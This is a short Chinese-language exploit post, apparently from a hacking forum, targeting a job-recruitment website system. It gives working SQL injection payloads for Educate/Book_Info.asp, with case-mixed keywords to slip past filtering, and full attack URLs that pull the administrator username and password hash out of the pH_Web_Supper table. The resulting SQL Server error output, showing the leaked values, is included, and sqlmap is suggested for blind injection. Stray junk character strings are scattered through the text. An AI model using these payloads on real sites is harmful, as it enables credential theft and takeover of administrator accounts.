网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp
7 D+ ^( ]2 o9 ]  p4 G, N1 i
; q5 ~1 U; K: r. ~- ?0 Q此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出

: a0 a6 a( Z& y$ [8 Jexp：如下
查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
' U/ F" h2 y- `( A# s9 c) @
; v7 |) i. U2 h. Nhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

/ f& ~! R; ]# ^0 eMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
8 ^9 b; d9 @( {0 E9 o6 \
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
! A, ^9 U/ }$ E9 m
/Educate/Book_Info.asp，行 8

0 |* f5 [* t) t- c+ Uhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

  i  J, E( F2 m9 w3 V- ~Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
, m7 e) f; I- Y  f! W4 ]
" R! P( o- {3 e) g) U# D. P6 G将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
, a, d% N' M8 p& P* f
6 ^: D8 \: g+ [3 U  o( t$ y/Educate/Book_Info.asp，行 8
% {: j6 @9 ~# a3 s5 {5 o" n7 l( A: y​